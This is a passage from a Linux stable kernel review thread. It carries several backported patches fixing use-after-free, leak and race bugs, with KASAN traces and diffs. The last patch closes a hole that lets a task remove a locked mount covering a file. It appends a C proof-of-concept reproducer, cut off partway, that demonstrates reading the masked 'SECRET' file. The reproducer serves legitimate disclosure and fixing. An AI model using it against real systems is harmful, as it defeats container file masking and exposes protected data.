@@ -925,6 +925,11 @@ restart:
goto restart;
}
+ if (conn->flags & FSNOTIFY_CONN_FLAG_DESTROYING) {
+ err = -ENOENT;
+ goto out_err;
+ }
+
/* is mark the first mark? */
if (hlist_empty(&conn->list)) {
hlist_add_head_rcu(&mark->obj_list, &conn->list);
@@ -1113,6 +1118,12 @@ void fsnotify_destroy_marks(fsnotify_con
if (!conn)
return;
/*
+ * New marks could be inserted before our cursor and survive the final
+ * detachment of the connector from the object. Prevent additions to
+ * this connector before dropping its lock.
+ */
+ conn->flags |= FSNOTIFY_CONN_FLAG_DESTROYING;
+ /*
* We have to be careful since we can race with e.g.
* fsnotify_clear_marks_by_group() and once we drop the conn->lock, the
* list can get modified. However we are holding mark reference and
--- a/include/linux/fsnotify_backend.h
+++ b/include/linux/fsnotify_backend.h
@@ -566,6 +566,7 @@ struct fsnotify_mark_connector {
unsigned char prio; /* Highest priority group */
#define FSNOTIFY_CONN_FLAG_IS_WATCHED 0x01
#define FSNOTIFY_CONN_FLAG_HAS_IREF 0x02
+#define FSNOTIFY_CONN_FLAG_DESTROYING 0x04
unsigned short flags; /* flags [lock] */
union {
/* Object pointer [lock] */
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 113/242] pid_namespace: make zap_pid_ns_processes() freezable
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (110 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 112/242] fsnotify: prevent mark additions during connector teardown Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 114/242] ext4: free the sbi after a grace period Greg Kroah-Hartman
` (129 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Oleg Nesterov, Aviv Vaknin,
Bradley Morgan, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aviv Vaknin <vaknins33@gmail.com>
commit 81933038f5e273d17ed22792f906889393b204c5 upstream.
When the init of a pid namespace exits, zap_pid_ns_processes() waits
until all other pids in the namespace are freed. A tracer outside the
namespace that does not reap its traced zombies keeps those pids
allocated, so this wait has no upper bound, and while it lasts every
suspend attempt fails:
Freezing user space processes failed after 20.006 seconds (2 tasks refusing to freeze, wq_busy=0):
Neither wait is freezable. The first loop sleeps in do_wait(), which
returns -ERESTARTSYS on the freezer's fake signal; the loop then clears
TIF_SIGPENDING and waits again without ever freezing. The final loop
sleeps in TASK_INTERRUPTIBLE, and since nothing clears TIF_SIGPENDING
there, schedule() returns immediately after the first freeze attempt
and the task spins until the wait ends.
Sleep in TASK_INTERRUPTIBLE | TASK_FREEZABLE in do_wait(), so that the
freezer can freeze tasks waiting there directly, and in TASK_IDLE |
TASK_FREEZABLE in the final loop, like coredump_task_exit() does.
This was hit with Chromium-based browsers: crashpad ptrace-attaches the
threads of a crashed renderer, which is a pid namespace init, and does
not reap those killed during the dump.
Fixes: 3eb07c8c8adb ("pid namespaces: destroy pid namespace on init's death")
Fixes: b9a985db9896 ("pid_ns: Sleep in TASK_INTERRUPTIBLE in zap_pid_ns_processes")
Cc: stable@vger.kernel.org # 6.1+
Suggested-by: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Aviv Vaknin <vaknins33@gmail.com>
Link: https://patch.msgid.link/20261002202820.3433318-1-vaknins33@gmail.com
Acked-by: Oleg Nesterov <oleg@redhat.com>
Reviewed-by: Bradley Morgan <brads@mainlining.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/exit.c | 2 +-
kernel/pid_namespace.c | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1730,7 +1730,7 @@ static long do_wait(struct wait_opts *wo
add_wait_queue(¤t->signal->wait_chldexit, &wo->child_wait);
do {
- set_current_state(TASK_INTERRUPTIBLE);
+ set_current_state(TASK_INTERRUPTIBLE | TASK_FREEZABLE);
retval = __do_wait(wo);
if (retval != -ERESTARTSYS)
break;
--- a/kernel/pid_namespace.c
+++ b/kernel/pid_namespace.c
@@ -268,7 +268,7 @@ void zap_pid_ns_processes(struct pid_nam
* free_pid() will awaken this task.
*/
for (;;) {
- set_current_state(TASK_INTERRUPTIBLE);
+ set_current_state(TASK_IDLE | TASK_FREEZABLE);
if (pid_ns->pid_allocated == init_pids)
break;
schedule();
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 114/242] ext4: free the sbi after a grace period
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (111 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 113/242] pid_namespace: make zap_pid_ns_processes() freezable Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 115/242] eventfs: Free the eventfs_inode after an rcu grace period too Greg Kroah-Hartman
` (128 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit c17b44266a1f9fcb49b894d4611d1254bf1aa313 upstream.
ext4_get_link() follows a symlink that keeps its target in a data block
in rcu pathwalk mode with ext4_getblk(EXT4_GET_BLOCKS_CACHED_NOWAIT).
That reads s_mount_state in the ASSERT() of ext4_getblk() and again in
ext4_es_lookup_extent(), and the lookup bumps the extent status hit or
miss counter, all through sb->s_fs_info.
ext4_put_super() destroys those counters, clears sb->s_fs_info and frees
the sbi without waiting for a grace period. A pathwalk that is still in
ext4_get_link() when the last reference to the mount goes away then
dereferences a NULL s_fs_info, the freed sbi or the destroyed percpu
counters.
With a pathwalk held up in ext4_get_link() while the last reference
goes away:
KASAN: null-ptr-deref in range [0x00000000000000a8-0x00000000000000af]
RIP: 0010:ext4_getblk+0xf0/0x640
Call Trace:
<TASK>
ext4_get_link+0x26c/0x410
pick_link+0xf96/0x1780
step_into_slowpath+0x9b8/0x1250
path_lookupat+0x484/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
vfs_fstatat+0x4d/0x90
__do_sys_newfstatat+0xa0/0x100
do_syscall_64+0x10e/0x5e0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
So far that has been hard to hit. umount(2) waits for a grace period in
namespace_unlock() before it drops the mount, so only a mount whose last
reference goes away elsewhere, like the close of a file or a chdir out of
a lazily unmounted directory, can race a walker.
Keep sb->s_fs_info and free the sbi together with the extent status
counters after a grace period. Split the counters out of
ext4_es_unregister_shrinker() for that. The shrinker still gets wasted
in ext4_put_super(), the counters go with the sbi.
Fixes: 6493792d3299 ("ext4: convert symlink external data block mapping to bdev")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-1-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ext4/ext4.h | 2 ++
fs/ext4/extents-test.c | 2 ++
fs/ext4/extents.c | 1 +
fs/ext4/extents_status.c | 7 ++++++-
fs/ext4/extents_status.h | 1 +
fs/ext4/super.c | 13 +++++++++++--
6 files changed, 23 insertions(+), 3 deletions(-)
--- a/fs/ext4/ext4.h
+++ b/fs/ext4/ext4.h
@@ -1768,6 +1768,8 @@ struct ext4_sb_info {
struct list_head s_es_list; /* List of inodes with reclaimable extents */
long s_es_nr_inode;
struct ext4_es_stats s_es_stats;
+ /* ext4_get_link() reads the sbi in rcu pathwalk */
+ struct rcu_head s_rcu;
struct mb_cache *s_ea_block_cache;
struct mb_cache *s_ea_inode_cache;
spinlock_t s_es_lock ____cacheline_aligned_in_smp;
--- a/fs/ext4/extents-test.c
+++ b/fs/ext4/extents-test.c
@@ -156,6 +156,7 @@ static void extents_kunit_exit(struct ku
sbi = k_ctx.k_ei->vfs_inode.i_sb->s_fs_info;
ext4_es_unregister_shrinker(sbi);
+ ext4_es_destroy_stats(sbi);
deactivate_super(sbi->s_sb);
kfree(sbi);
kfree(k_ctx.k_ei);
@@ -345,6 +346,7 @@ out:
k_ctx.k_data = NULL;
ext4_es_unregister_shrinker(sbi);
+ ext4_es_destroy_stats(sbi);
out_deactivate:
deactivate_locked_super(sb);
kfree(sbi);
--- a/fs/ext4/extents.c
+++ b/fs/ext4/extents.c
@@ -6297,6 +6297,7 @@ EXPORT_SYMBOL_FOR_EXT4_TEST(__ext4_ext_d
EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_ext_zeroout);
EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_es_register_shrinker);
EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_es_unregister_shrinker);
+EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_es_destroy_stats);
EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_map_create_blocks);
EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_es_init_tree);
EXPORT_SYMBOL_FOR_EXT4_TEST(ext4_es_lookup_extent);
--- a/fs/ext4/extents_status.c
+++ b/fs/ext4/extents_status.c
@@ -1882,11 +1882,16 @@ err1:
void ext4_es_unregister_shrinker(struct ext4_sb_info *sbi)
{
+ shrinker_free(sbi->s_es_shrinker);
+}
+
+/* ext4_get_link() bumps the hit and miss counters in rcu pathwalk */
+void ext4_es_destroy_stats(struct ext4_sb_info *sbi)
+{
percpu_counter_destroy(&sbi->s_es_stats.es_stats_cache_hits);
percpu_counter_destroy(&sbi->s_es_stats.es_stats_cache_misses);
percpu_counter_destroy(&sbi->s_es_stats.es_stats_all_cnt);
percpu_counter_destroy(&sbi->s_es_stats.es_stats_shk_cnt);
- shrinker_free(sbi->s_es_shrinker);
}
/*
--- a/fs/ext4/extents_status.h
+++ b/fs/ext4/extents_status.h
@@ -238,6 +238,7 @@ static inline void ext4_es_store_pblock_
extern int ext4_es_register_shrinker(struct ext4_sb_info *sbi);
extern void ext4_es_unregister_shrinker(struct ext4_sb_info *sbi);
+extern void ext4_es_destroy_stats(struct ext4_sb_info *sbi);
extern int ext4_seq_es_shrinker_info_show(struct seq_file *seq, void *v);
--- a/fs/ext4/super.c
+++ b/fs/ext4/super.c
@@ -1279,6 +1279,14 @@ static void ext4_flex_groups_free(struct
}
}
+static void ext4_put_sbi_rcu(struct rcu_head *head)
+{
+ struct ext4_sb_info *sbi = container_of(head, struct ext4_sb_info, s_rcu);
+
+ ext4_es_destroy_stats(sbi);
+ kfree(sbi);
+}
+
static void ext4_put_super(struct super_block *sb)
{
struct ext4_sb_info *sbi = EXT4_SB(sb);
@@ -1372,7 +1380,6 @@ static void ext4_put_super(struct super_
ext4_stop_mmpd(sbi);
brelse(sbi->s_sbh);
- sb->s_fs_info = NULL;
/*
* Now that we are completely done shutting down the
* superblock, we need to actually destroy the kobject.
@@ -1385,7 +1392,8 @@ static void ext4_put_super(struct super_
#if IS_ENABLED(CONFIG_UNICODE)
utf8_unload(sb->s_encoding);
#endif
- kfree(sbi);
+ /* ext4_get_link() reads the sbi and the counters in rcu pathwalk */
+ call_rcu(&sbi->s_rcu, ext4_put_sbi_rcu);
}
static struct kmem_cache *ext4_inode_cachep;
@@ -5778,6 +5786,7 @@ failed_mount_wq:
}
failed_mount3a:
ext4_es_unregister_shrinker(sbi);
+ ext4_es_destroy_stats(sbi);
failed_mount3:
/* flush s_sb_upd_work before sbi destroy */
flush_work(&sbi->s_sb_upd_work);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 115/242] eventfs: Free the eventfs_inode after an rcu grace period too
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (112 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 114/242] ext4: free the sbi after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 116/242] ipc: drop the mqueue mount with kern_unmount() on setup failure Greg Kroah-Hartman
` (127 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 2cd88c498ecff8e22bf4c397b8eb226db70ac343 upstream.
tracefs_d_revalidate() reads ->is_freed of the eventfs_inode that
dentry->d_fsdata points to, and ->d_revalidate() is called in rcu
pathwalk mode with nothing but rcu_read_lock() held. The dentry itself
stays around for such a walker, but tracefs_d_release() drops its
reference to the eventfs_inode when the dentry is killed, and
release_ei() then frees it after a grace period of eventfs_srcu. An
SRCU grace period doesn't wait for rcu_read_lock() sections, so the
walker can read an eventfs_inode that is already gone.
With a pathwalk held up in tracefs_d_revalidate() while the dentry goes
away:
BUG: KASAN: slab-use-after-free in tracefs_d_revalidate+0x76/0x90
Read of size 1 at addr ff1100010152d8d0 by task walker/97
Call Trace:
<TASK>
tracefs_d_revalidate+0x76/0x90
lookup_fast+0x320/0x640
path_lookupat+0x160/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
vfs_fstatat+0x4d/0x90
__do_sys_newfstatat+0xa0/0x100
do_syscall_64+0x10e/0x5e0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
[...]
Allocated by task 1:
__kmalloc_cache_noprof+0x249/0x560
eventfs_create_dir+0x7a/0x590
event_create_dir+0x2fb/0xcf0
trace_add_event_call+0xbf/0x150
[...]
Freed by task 11:
kfree+0x1db/0x5b0
srcu_invoke_callbacks+0x3a3/0x620
process_one_work+0x937/0x1810
worker_thread+0x4f1/0xd60
Before commit 8e556432477e ("eventfs: Use SRCU for freeing
eventfs_inodes") release_ei() used call_rcu(), which covered the walker,
while eventfs_iterate() needs the SRCU grace period. Wait for both and
chain call_rcu() from the SRCU callback.
Cc: stable@vger.kernel.org
Fixes: 8e556432477e ("eventfs: Use SRCU for freeing eventfs_inodes")
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-4-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/tracefs/event_inode.c | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
--- a/fs/tracefs/event_inode.c
+++ b/fs/tracefs/event_inode.c
@@ -91,6 +91,14 @@ static void free_ei_rcu(struct rcu_head
}
}
+/* read under eventfs_srcu and, by tracefs_d_revalidate(), in rcu pathwalk */
+static void free_ei_srcu(struct rcu_head *rcu)
+{
+ struct eventfs_inode *ei = container_of(rcu, struct eventfs_inode, rcu);
+
+ call_rcu(&ei->rcu, free_ei_rcu);
+}
+
/*
* eventfs_inode reference count management.
*
@@ -112,7 +120,7 @@ static void release_ei(struct kref *ref)
entry->release(entry->name, ei->data);
}
- call_srcu(&eventfs_srcu, &ei->rcu, free_ei_rcu);
+ call_srcu(&eventfs_srcu, &ei->rcu, free_ei_srcu);
}
static inline void put_ei(struct eventfs_inode *ei)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 116/242] ipc: drop the mqueue mount with kern_unmount() on setup failure
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (113 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 115/242] eventfs: Free the eventfs_inode after an rcu grace period too Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 117/242] ntfs3: free the sbi after a grace period Greg Kroah-Hartman
` (126 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit f0e48172a59e517e613b73f73cc35f24fd123aeb upstream.
mq_init_ns() creates the mqueue mount with fc_mount_longterm(), so its
->mnt_ns is MNT_NS_INTERNAL. When setting up the mqueue or ipc sysctls
or msg_init_ns() fails afterwards, create_ipc_ns() drops it with a plain
mntput(). With ->mnt_ns set that takes the fast path of
mntput_no_expire(). The count drops to zero and nothing ever kills the
mount, so the mount and the mqueue superblock are leaked.
Commit dc55e35f9e81 ("ipc: Store mqueue sysctls in the ipc namespace")
added the first failure path after mq_init_ns() and never dropped the
mount. Commit 7229d74e5e8c ("ipc: create_ipc_ns: drop mqueue mount on
sysctl setup failure") tried to fix that with a mntput() but that
doesn't help for a long-term mount.
Use kern_unmount(). free_ipc() open-codes the same thing for a namespace
that made it.
Fixes: dc55e35f9e81 ("ipc: Store mqueue sysctls in the ipc namespace")
Fixes: 7229d74e5e8c ("ipc: create_ipc_ns: drop mqueue mount on sysctl setup failure")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-5-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
ipc/namespace.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/ipc/namespace.c
+++ b/ipc/namespace.c
@@ -96,7 +96,7 @@ fail_ipc:
fail_mq_sysctls:
retire_mq_sysctls(ns);
fail_mq_mount:
- mntput(ns->mq_mnt);
+ kern_unmount(ns->mq_mnt);
fail_put:
put_user_ns(ns->user_ns);
ns_common_free(ns);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 117/242] ntfs3: free the sbi after a grace period
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (114 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 116/242] ipc: drop the mqueue mount with kern_unmount() on setup failure Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 118/242] namespace: a mount that copy_tree() leaves out cant take over a lock Greg Kroah-Hartman
` (125 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit c01b091b06412d3b1b53d8c2925f6de586c8a2fc upstream.
If the "nocase" mount option ntfs3 uses custom hash and dentry compare
functions. Both access ntfs3 superblock private information in rcu
pathwalk. ntfs_put_super() and ntfs3_kill_sb() drop the info without any
rcu delay. A lookup that's still inside the filesystem when the last
reference to the mount is dropped causes a UAF. With a pathwalk held up
in ntfs_d_hash() while the last reference to the mount goes away:
BUG: KASAN: slab-use-after-free in ntfs_nls_to_utf16+0x752/0x940
Read of size 8 at addr ff1100010453c850 by task walker/99
Call Trace:
<TASK>
ntfs_nls_to_utf16+0x752/0x940
ntfs_d_hash+0x22b/0x500
link_path_walk+0x11ad/0x1d30
path_lookupat+0x63/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
[...]
Allocated by task 95:
__kmalloc_cache_noprof+0x249/0x560
ntfs_init_fs_context+0x2db/0x5a0
alloc_fs_context+0x52e/0xc70
[...]
Freed by task 98:
kfree+0x1db/0x5b0
deactivate_locked_super+0x9c/0xf0
cleanup_mnt+0x9f/0x130
task_work_run+0x131/0x250
The bug is currently masked by the grace period in namespace_unlock()
for umount(2). Keep the necessary information until the filesystem
private info is freed and free it with an rcu delay.
ntfs3_free_sbi() now runs from an rcu callback and drops the upcase
table via ntfs_put_shared(). So switch s_shared_lock over to
spin_lock_bh(). Otherwise the callback can deadlock against a task
holding the lock on the same cpu.
Fixes: a3a956c78efa ("fs/ntfs3: Add option "nocase"")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-7-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs3/ntfs_fs.h | 1 +
fs/ntfs3/super.c | 33 +++++++++++++++++++++------------
2 files changed, 22 insertions(+), 12 deletions(-)
--- a/fs/ntfs3/ntfs_fs.h
+++ b/fs/ntfs3/ntfs_fs.h
@@ -210,6 +210,7 @@ struct ntfs_index {
/* Ntfs file system in-core superblock data. */
struct ntfs_sb_info {
struct super_block *sb;
+ struct rcu_head rcu;
u32 discard_granularity;
u64 discard_granularity_mask_inv; // ~(discard_granularity_mask_inv-1)
--- a/fs/ntfs3/super.c
+++ b/fs/ntfs3/super.c
@@ -195,7 +195,7 @@ void *ntfs_set_shared(void *ptr, u32 byt
void *ret = NULL;
int i, j = -1;
- spin_lock(&s_shared_lock);
+ spin_lock_bh(&s_shared_lock);
for (i = 0; i < ARRAY_SIZE(s_shared); i++) {
if (!s_shared[i].cnt) {
j = i;
@@ -213,7 +213,7 @@ void *ntfs_set_shared(void *ptr, u32 byt
s_shared[j].cnt = 1;
ret = ptr;
}
- spin_unlock(&s_shared_lock);
+ spin_unlock_bh(&s_shared_lock);
return ret;
}
@@ -230,7 +230,7 @@ void *ntfs_put_shared(void *ptr)
void *ret = ptr;
int i;
- spin_lock(&s_shared_lock);
+ spin_lock_bh(&s_shared_lock);
for (i = 0; i < ARRAY_SIZE(s_shared); i++) {
if (s_shared[i].cnt && s_shared[i].ptr == ptr) {
if (--s_shared[i].cnt)
@@ -238,7 +238,7 @@ void *ntfs_put_shared(void *ptr)
break;
}
}
- spin_unlock(&s_shared_lock);
+ spin_unlock_bh(&s_shared_lock);
return ret;
}
@@ -697,6 +697,8 @@ static noinline void ntfs3_put_sbi(struc
static void ntfs3_free_sbi(struct ntfs_sb_info *sbi)
{
+ if (sbi->options)
+ put_mount_options(sbi->options);
kfree(sbi->new_rec);
kvfree(ntfs_put_shared(sbi->upcase));
kvfree(sbi->def_table);
@@ -708,6 +710,11 @@ static void ntfs3_free_sbi(struct ntfs_s
kfree(sbi);
}
+static void ntfs3_free_sbi_rcu(struct rcu_head *head)
+{
+ ntfs3_free_sbi(container_of(head, struct ntfs_sb_info, rcu));
+}
+
static void ntfs_put_super(struct super_block *sb)
{
struct ntfs_sb_info *sbi = sb->s_fs_info;
@@ -717,11 +724,11 @@ static void ntfs_put_super(struct super_
/* Mark rw ntfs as clear, if possible. */
ntfs_set_state(sbi, NTFS_DIRTY_CLEAR);
- if (sbi->options) {
- put_mount_options(sbi->options);
- sbi->options = NULL;
- }
-
+ /*
+ * The mount options stay until the sbi is freed: ->d_hash() and
+ * ->d_compare() of a pathwalk in rcu mode read the nls table through
+ * them.
+ */
ntfs3_put_sbi(sbi);
}
@@ -1923,9 +1930,11 @@ static void ntfs3_kill_sb(struct super_b
kill_block_super(sb);
- if (sbi->options)
- put_mount_options(sbi->options);
- ntfs3_free_sbi(sbi);
+ /*
+ * A pathwalk in rcu mode may still be in ->d_hash() or ->d_compare()
+ * and read the upcase table and the nls table through the sbi.
+ */
+ call_rcu(&sbi->rcu, ntfs3_free_sbi_rcu);
}
// clang-format off
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 118/242] namespace: a mount that copy_tree() leaves out cant take over a lock
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (115 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 117/242] ntfs3: free the sbi after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 119/242] namei: test for a negative dentry the way traverse_mounts() does Greg Kroah-Hartman
` (124 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Chris Mason,
Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 69fbe94f80bc423613fa18dae6656757423732a2 upstream.
Since commit c62a4766937e ("move_mount: transfer MNT_LOCKED") a mount
can be moved beneath a locked mount. The lock moves from the old cover
to the new mount which takes over the job of hiding what's under it and
the old cover can be unmounted. That works as long as the new mount
stays. But the caller picks the new mount and copy_tree() leaves a
mount of a mount namespace file out of every copy made without
CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never
looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make
such copies.
So a task that is root in its own user namespace gets rid of a locked
cover on a file without a race and without touching the filesystem
below it. It makes a child with a mount namespace of its own, binds the
child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH,
which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The
new mount namespace has nothing on the file. That's the usual way to
mask a single file, a bind of /dev/null or of an empty file. With a
bind of an ordinary file the file stays covered.
copy_tree() already refuses to leave out a locked unbindable mount with
-EPERM since commit df7342b24018 ("mount: Don't allow copying
MNT_UNBINDABLE|MNT_LOCKED mounts"). Do the same for a locked mount of a
mount namespace file. That also covers a tree copied with
CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user
namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS)
and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from
then on. The mount can't be left out and it can't be unmounted.
And refuse to move a mount of a mount namespace file beneath a locked
mount in the first place. Otherwise the task ends up with a mount it
can't unmount and an unshare() that fails for good.
Chris also found a second mount that goes away by itself, a clone of an
automounted mount that shrink_submounts() took along with its parent.
Commit f78ddcc87224 ("namespace: never expire a locked mount") took
care of that one.
Chris's reproducer is appended. Mode nsfile reads SECRET after the
unshare() on 7.3-rc7, with this patch the move_mount() fails with
EINVAL and the file stays covered. nsfile-control uses an ordinary file
and reads MASK both ways.
// SPDX-License-Identifier: GPL-2.0
/*
* Get rid of a locked cover with MOVE_MOUNT_BENEATH.
*
* The "admin" (root) makes a tmpfs W:
* W/D file, holds SECRET, covered by a bind of a file with MASK
* W/Dd/inner file, holds SECRET, Dd is covered by a bind of a directory
* whose "inner" holds MASK
* W/own directory of uid 1000 with the file "mine" and the
* directory "minedir", whose "inner" holds MINE
* W/dbg debugfs, mode 755. dbg/tracing is an automount point
* The "attacker" is uid 1000. It enters a new user namespace with a new mount
* namespace, so W and both covers are locked there.
*
* usage: prog MODE
* plain put a bind of own/mine beneath the cover of D, unmount the cover
* nsfile put a bind of the mount namespace file of a child beneath the
* cover of D, then unshare(CLONE_NEWNS)
* nsfile-control the same with a bind of own/mine
* shrink put a bind of the automounted tracefs beneath the cover of Dd,
* unmount the cover, put a tmpfs beneath W, call umount(W), which fails
* shrink-control the same with a bind of own/minedir
* The environment variable AUTOMOUNT_DIR names another automount point for "shrink".
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#ifndef MOVE_MOUNT_BENEATH
#define MOVE_MOUNT_BENEATH 0x00000200
#endif
#define W "/run/x2"
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
exit(2);
}
static void put_file(const char *name, const char *content)
{
int fd = open(name, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0 || write(fd, content, strlen(content)) < 0)
die(name);
close(fd);
}
static void show(const char *path)
{
char buf[32] = "";
int fd = open(path, O_RDONLY);
if (fd < 0) {
printf("attacker: open(%s) = %s\n", path, strerror(errno));
return;
}
if (read(fd, buf, sizeof(buf) - 1) < 0)
snprintf(buf, sizeof(buf), "<%s>", strerror(errno));
close(fd);
printf("attacker: read(%s) = \"%s\"%s\n", path, buf,
strncmp(buf, "SECRET", 6) ? "" : " <-- HIT");
}
static int say(const char *what, int ret)
{
printf("attacker: %s: %s\n", what, ret ? strerror(errno) : "ok");
return ret;
}
static void write_str(const char *path, const char *s)
{
int fd = open(path, O_WRONLY);
if (fd < 0 || write(fd, s, strlen(s)) < 0)
die(path);
close(fd);
}
static void mounts(void)
{
if (system("grep x2 /proc/self/mountinfo"))
printf("attacker: no mounts listed\n");
}
static void admin_setup(void)
{
if (unshare(CLONE_NEWNS) || mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL))
die("unshare");
mkdir(W, 0755);
if (mount("W", W, "tmpfs", 0, "mode=755"))
die("mount W");
if (mkdir(W "/Dd", 0755) || mkdir(W "/maskdir", 0755) || mkdir(W "/dbg", 0755) ||
mkdir(W "/own", 0755) || mkdir(W "/own/minedir", 0755))
die("mkdir");
put_file(W "/D", "SECRET");
put_file(W "/Dd/inner", "SECRET");
put_file(W "/mask", "MASK");
put_file(W "/maskdir/inner", "MASK");
put_file(W "/own/mine", "MINE");
put_file(W "/own/minedir/inner", "MINE");
if (mount(W "/mask", W "/D", NULL, MS_BIND, NULL) ||
